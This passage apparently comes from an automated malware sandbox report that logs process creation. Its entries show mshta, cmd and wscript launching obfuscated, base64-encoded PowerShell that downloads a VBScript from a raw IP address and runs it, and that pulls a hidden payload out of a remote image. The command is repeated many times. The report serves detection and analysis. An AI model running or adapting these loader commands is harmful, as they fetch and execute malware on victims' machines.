ICAgICAgIC1OYW1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJpYkYiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1lc1BBY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWJmS1NzU0FEICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJDZaMHdNY2diT1g1OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTkyLjIxMC4xNTAuMjQvNTUvY3JlYW15a2lzc2luZ2xpcHNnb29kZm9yY3JlYW15dGhpbmdzd2l0aGNyZWFtaWNyZWFtLnRJRiIsIiRlTlY6QVBQREFUQVxjcmVhbXlraXNzaW5nbGlwc2dvb2Rmb3JjcmVhbXl0aGluZ3N3aXRoY3JlYW0udmJTIiwwLDApO1N0YVJ0LVNMZWVQKDMpO0ludm9rRS1FWHBSRVNTaW9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZU5WOkFQUERBVEFcY3JlYW15a2lzc2luZ2xpcHNnb29kZm9yY3JlYW15dGhpbmdzd2l0aGNyZWFtLnZiUyI='+[chAr]34+'))')))"
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" "/C PoWErsheLl -ex bYPAsS -NoP -w 1 -c DEvIcECREdEnTiAlDEPlOymenT.exE ; iNVoKe-expreSSiON($(INvOKe-eXPRESsiOn('[SySTeM.tExt.EncOdiNg]'+[CHaR]0X3A+[Char]0x3a+'uTF8.gETSTrinG([systEM.conveRT]'+[cHAR]0x3A+[CHAR]58+'frOmBASE64sTRinG('+[ChAr]34+'JDZaMHdNY2diT1g1ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURELVRZcGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FTWJFcmRFRmlOSVRpb04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVyTE1vTi5EbGwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG9xaXBUeWZFVyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQkdsVVVFc0ksc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFMsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpdFRVeHR6cyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUE1sKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJpYkYiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1lc1BBY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWJmS1NzU0FEICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJDZaMHdNY2diT1g1OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTkyLjIxMC4xNTAuMjQvNTUvY3JlYW15a2lzc2luZ2xpcHNnb29kZm9yY3JlYW15dGhpbmdzd2l0aGNyZWFtaWNyZWFtLnRJRiIsIiRlTlY6QVBQREFUQVxjcmVhbXlraXNzaW5nbGlwc2dvb2Rmb3JjcmVhbXl0aGluZ3N3aXRoY3JlYW0udmJTIiwwLDApO1N0YVJ0LVNMZWVQKDMpO0ludm9rRS1FWHBSRVNTaW9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZU5WOkFQUERBVEFcY3JlYW15a2lzc2luZ2xpcHNnb29kZm9yY3JlYW15dGhpbmdzd2l0aGNyZWFtLnZiUyI='+[chAr]34+'))')))"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe PoWErsheLl -ex bYPAsS -NoP -w 1 -c DEvIcECREdEnTiAlDEPlOymenT.exE ; iNVoKe-expreSSiON($(INvOKe-eXPRESsiOn('[SySTeM.tExt.EncOdiNg]'+[CHaR]0X3A+[Char]0x3a+'uTF8.gETSTrinG([systEM.conveRT]'+[cHAR]0x3A+[CHAR]58+'frOmBASE64sTRinG('+[ChAr]34+'JDZaMHdNY2diT1g1ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURELVRZcGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FTWJFcmRFRmlOSVRpb04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVyTE1vTi5EbGwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG9xaXBUeWZFVyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQkdsVVVFc0ksc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFMsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpdFRVeHR6cyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUE1sKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJpYkYiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1lc1BBY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWJmS1NzU0FEICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJDZaMHdNY2diT1g1OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTkyLjIxMC4xNTAuMjQvNTUvY3JlYW15a2lzc2luZ2xpcHNnb29kZm9yY3JlYW15dGhpbmdzd2l0aGNyZWFtaWNyZWFtLnRJRiIsIiRlTlY6QVBQREFUQVxjcmVhbXlraXNzaW5nbGlwc2dvb2Rmb3JjcmVhbXl0aGluZ3N3aXRoY3JlYW0udmJTIiwwLDApO1N0YVJ0LVNMZWVQKDMpO0ludm9rRS1FWHBSRVNTaW9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZU5WOkFQUERBVEFcY3JlYW15a2lzc2luZ2xpcHNnb29kZm9yY3JlYW15dGhpbmdzd2l0aGNyZWFtLnZiUyI='+[chAr]34+'))')))"	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" "/C PoWErsheLl -ex bYPAsS -NoP -w 1 -c DEvIcECREdEnTiAlDEPlOymenT.exE ; iNVoKe-expreSSiON($(INvOKe-eXPRESsiOn('[SySTeM.tExt.EncOdiNg]'+[CHaR]0X3A+[Char]0x3a+'uTF8.gETSTrinG([systEM.conveRT]'+[cHAR]0x3A+[CHAR]58+'frOmBASE64sTRinG('+[ChAr]34+'JDZaMHdNY2diT1g1ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURELVRZcGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FTWJFcmRFRmlOSVRpb04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVyTE1vTi5EbGwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG9xaXBUeWZFVyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQkdsVVVFc0ksc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFMsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpdFRVeHR6cyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUE1sKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJpYkYiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1lc1BBY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWJmS1NzU0FEICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJDZaMHdNY2diT1g1OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTkyLjIxMC4xNTAuMjQvNTUvY3JlYW15a2lzc2luZ2xpcHNnb29kZm9yY3JlYW15dGhpbmdzd2l0aGNyZWFtaWNyZWFtLnRJRiIsIiRlTlY6QVBQREFUQVxjcmVhbXlraXNzaW5nbGlwc2dvb2Rmb3JjcmVhbXl0aGluZ3N3aXRoY3JlYW0udmJTIiwwLDApO1N0YVJ0LVNMZWVQKDMpO0ludm9rRS1FWHBSRVNTaW9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZU5WOkFQUERBVEFcY3JlYW15a2lzc2luZ2xpcHNnb29kZm9yY3JlYW15dGhpbmdzd2l0aGNyZWFtLnZiUyI='+[chAr]34+'))')))"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe PoWErsheLl -ex bYPAsS -NoP -w 1 -c DEvIcECREdEnTiAlDEPlOymenT.exE ; iNVoKe-expreSSiON($(INvOKe-eXPRESsiOn('[SySTeM.tExt.EncOdiNg]'+[CHaR]0X3A+[Char]0x3a+'uTF8.gETSTrinG([systEM.conveRT]'+[cHAR]0x3A+[CHAR]58+'frOmBASE64sTRinG('+[ChAr]34+'JDZaMHdNY2diT1g1ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURELVRZcGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FTWJFcmRFRmlOSVRpb04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVyTE1vTi5EbGwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG9xaXBUeWZFVyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQkdsVVVFc0ksc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFMsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpdFRVeHR6cyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUE1sKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJpYkYiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1lc1BBY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWJmS1NzU0FEICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJDZaMHdNY2diT1g1OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTkyLjIxMC4xNTAuMjQvNTUvY3JlYW15a2lzc2luZ2xpcHNnb29kZm9yY3JlYW15dGhpbmdzd2l0aGNyZWFtaWNyZWFtLnRJRiIsIiRlTlY6QVBQREFUQVxjcmVhbXlraXNzaW5nbGlwc2dvb2Rmb3JjcmVhbXl0aGluZ3N3aXRoY3JlYW0udmJTIiwwLDApO1N0YVJ0LVNMZWVQKDMpO0ludm9rRS1FWHBSRVNTaW9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZU5WOkFQUERBVEFcY3JlYW15a2lzc2luZ2xpcHNnb29kZm9yY3JlYW15dGhpbmdzd2l0aGNyZWFtLnZiUyI='+[chAr]34+'))')))"

Suspicious command line found

Source: C:\Windows\System32\mshta.exe	Process created: "C:\Windows\system32\cmd.exe" "/C PoWErsheLl -ex bYPAsS -NoP -w 1 -c DEvIcECREdEnTiAlDEPlOymenT.exE ; iNVoKe-expreSSiON($(INvOKe-eXPRESsiOn('[SySTeM.tExt.EncOdiNg]'+[CHaR]0X3A+[Char]0x3a+'uTF8.gETSTrinG([systEM.conveRT]'+[cHAR]0x3A+[CHAR]58+'frOmBASE64sTRinG('+[ChAr]34+'JDZaMHdNY2diT1g1ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURELVRZcGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FTWJFcmRFRmlOSVRpb04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVyTE1vTi5EbGwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG9xaXBUeWZFVyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQkdsVVVFc0ksc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFMsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpdFRVeHR6cyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUE1sKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJpYkYiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1lc1BBY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWJmS1NzU0FEICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJDZaMHdNY2diT1g1OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTkyLjIxMC4xNTAuMjQvNTUvY3JlYW15a2lzc2luZ2xpcHNnb29kZm9yY3JlYW15dGhpbmdzd2l0aGNyZWFtaWNyZWFtLnRJRiIsIiRlTlY6QVBQREFUQVxjcmVhbXlraXNzaW5nbGlwc2dvb2Rmb3JjcmVhbXl0aGluZ3N3aXRoY3JlYW0udmJTIiwwLDApO1N0YVJ0LVNMZWVQKDMpO0ludm9rRS1FWHBSRVNTaW9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZU5WOkFQUERBVEFcY3JlYW15a2lzc2luZ2xpcHNnb29kZm9yY3JlYW15dGhpbmdzd2l0aGNyZWFtLnZiUyI='+[chAr]34+'))')))"
Source: C:\Windows\System32\mshta.exe	Process created: "C:\Windows\system32\cmd.exe" "/C PoWErsheLl -ex bYPAsS -NoP -w 1 -c DEvIcECREdEnTiAlDEPlOymenT.exE ; iNVoKe-expreSSiON($(INvOKe-eXPRESsiOn('[SySTeM.tExt.EncOdiNg]'+[CHaR]0X3A+[Char]0x3a+'uTF8.gETSTrinG([systEM.conveRT]'+[cHAR]0x3A+[CHAR]58+'frOmBASE64sTRinG('+[ChAr]34+'JDZaMHdNY2diT1g1ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURELVRZcGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FTWJFcmRFRmlOSVRpb04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVyTE1vTi5EbGwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG9xaXBUeWZFVyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQkdsVVVFc0ksc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFMsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpdFRVeHR6cyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUE1sKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJpYkYiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1lc1BBY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWJmS1NzU0FEICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJDZaMHdNY2diT1g1OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTkyLjIxMC4xNTAuMjQvNTUvY3JlYW15a2lzc2luZ2xpcHNnb29kZm9yY3JlYW15dGhpbmdzd2l0aGNyZWFtaWNyZWFtLnRJRiIsIiRlTlY6QVBQREFUQVxjcmVhbXlraXNzaW5nbGlwc2dvb2Rmb3JjcmVhbXl0aGluZ3N3aXRoY3JlYW0udmJTIiwwLDApO1N0YVJ0LVNMZWVQKDMpO0ludm9rRS1FWHBSRVNTaW9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZU5WOkFQUERBVEFcY3JlYW15a2lzc2luZ2xpcHNnb29kZm9yY3JlYW15dGhpbmdzd2l0aGNyZWFtLnZiUyI='+[chAr]34+'))')))"
Source: C:\Windows\System32\mshta.exe	Process created: "C:\Windows\system32\cmd.exe" "/C PoWErsheLl -ex bYPAsS -NoP -w 1 -c DEvIcECREdEnTiAlDEPlOymenT.exE ; iNVoKe-expreSSiON($(INvOKe-eXPRESsiOn('[SySTeM.tExt.EncOdiNg]'+[CHaR]0X3A+[Char]0x3a+'uTF8.gETSTrinG([systEM.conveRT]'+[cHAR]0x3A+[CHAR]58+'frOmBASE64sTRinG('+[ChAr]34+'JDZaMHdNY2diT1g1ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURELVRZcGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FTWJFcmRFRmlOSVRpb04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVyTE1vTi5EbGwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG9xaXBUeWZFVyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQkdsVVVFc0ksc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFMsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpdFRVeHR6cyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUE1sKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJpYkYiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1lc1BBY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWJmS1NzU0FEICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJDZaMHdNY2diT1g1OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTkyLjIxMC4xNTAuMjQvNTUvY3JlYW15a2lzc2luZ2xpcHNnb29kZm9yY3JlYW15dGhpbmdzd2l0aGNyZWFtaWNyZWFtLnRJRiIsIiRlTlY6QVBQREFUQVxjcmVhbXlraXNzaW5nbGlwc2dvb2Rmb3JjcmVhbXl0aGluZ3N3aXRoY3JlYW0udmJTIiwwLDApO1N0YVJ0LVNMZWVQKDMpO0ludm9rRS1FWHBSRVNTaW9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZU5WOkFQUERBVEFcY3JlYW15a2lzc2luZ2xpcHNnb29kZm9yY3JlYW15dGhpbmdzd2l0aGNyZWFtLnZiUyI='+[chAr]34+'))')))"	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process created: "C:\Windows\system32\cmd.exe" "/C PoWErsheLl -ex bYPAsS -NoP -w 1 -c DEvIcECREdEnTiAlDEPlOymenT.exE ; iNVoKe-expreSSiON($(INvOKe-eXPRESsiOn('[SySTeM.tExt.EncOdiNg]'+[CHaR]0X3A+[Char]0x3a+'uTF8.gETSTrinG([systEM.conveRT]'+[cHAR]0x3A+[CHAR]58+'frOmBASE64sTRinG('+[ChAr]34+'JDZaMHdNY2diT1g1ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURELVRZcGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FTWJFcmRFRmlOSVRpb04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVyTE1vTi5EbGwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG9xaXBUeWZFVyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQkdsVVVFc0ksc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFMsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpdFRVeHR6cyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUE1sKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJpYkYiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1lc1BBY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWJmS1NzU0FEICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJDZaMHdNY2diT1g1OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTkyLjIxMC4xNTAuMjQvNTUvY3JlYW15a2lzc2luZ2xpcHNnb29kZm9yY3JlYW15dGhpbmdzd2l0aGNyZWFtaWNyZWFtLnRJRiIsIiRlTlY6QVBQREFUQVxjcmVhbXlraXNzaW5nbGlwc2dvb2Rmb3JjcmVhbXl0aGluZ3N3aXRoY3JlYW0udmJTIiwwLDApO1N0YVJ0LVNMZWVQKDMpO0ludm9rRS1FWHBSRVNTaW9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZU5WOkFQUERBVEFcY3JlYW15a2lzc2luZ2xpcHNnb29kZm9yY3JlYW15dGhpbmdzd2l0aGNyZWFtLnZiUyI='+[chAr]34+'))')))"	Jump to behavior

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe PoWErsheLl -ex bYPAsS -NoP -w 1 -c DEvIcECREdEnTiAlDEPlOymenT.exE ; iNVoKe-expreSSiON($(INvOKe-eXPRESsiOn('[SySTeM.tExt.EncOdiNg]'+[CHaR]0X3A+[Char]0x3a+'uTF8.gETSTrinG([systEM.conveRT]'+[cHAR]0x3A+[CHAR]58+'frOmBASE64sTRinG('+[ChAr]34+'JDZaMHdNY2diT1g1ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURELVRZcGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FTWJFcmRFRmlOSVRpb04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVyTE1vTi5EbGwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG9xaXBUeWZFVyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQkdsVVVFc0ksc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFMsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpdFRVeHR6cyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUE1sKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJpYkYiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1lc1BBY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWJmS1NzU0FEICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJDZaMHdNY2diT1g1OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTkyLjIxMC4xNTAuMjQvNTUvY3JlYW15a2lzc2luZ2xpcHNnb29kZm9yY3JlYW15dGhpbmdzd2l0aGNyZWFtaWNyZWFtLnRJRiIsIiRlTlY6QVBQREFUQVxjcmVhbXlraXNzaW5nbGlwc2dvb2Rmb3JjcmVhbXl0aGluZ3N3aXRoY3JlYW0udmJTIiwwLDApO1N0YVJ0LVNMZWVQKDMpO0ludm9rRS1FWHBSRVNTaW9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZU5WOkFQUERBVEFcY3JlYW15a2lzc2luZ2xpcHNnb29kZm9yY3JlYW15dGhpbmdzd2l0aGNyZWFtLnZiUyI='+[chAr]34+'))')))"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $isohemolytic = 'JGNhc2VtYXRlZCA9ICdodHRwczovL3Jlcy5jbG91ZGluYXJ5LmNvbS9keXRmbHQ2MW4vaW1hZ2UvdXBsb2FkL3YxNzMzMTM0OTQ3L2JrbHB5c2V5ZXV0NGltcHc1MG4xLmpwZyAnOyRSYWRub3IgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50OyRoZW1pYWJsZXBzaWEgPSAkUmFkbm9yLkRvd25sb2FkRGF0YSgkY2FzZW1hdGVkKTskYmlkZXMgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZygkaGVtaWFibGVwc2lhKTska2lkZGllcyA9ICc8PEJBU0U2NF9TVEFSVD4+JzskYXZlbnRhaWxlID0gJzw8QkFTRTY0X0VORD4+Jzskc3RhaW4gPSAkYmlkZXMuSW5kZXhPZigka2lkZGllcyk7JHJlc2h1ZmZsZSA9ICRiaWRlcy5JbmRleE9mKCRhdmVudGFpbGUpOyRzdGFpbiAtZ2UgMCAtYW5kICRyZXNodWZmbGUgLWd0ICR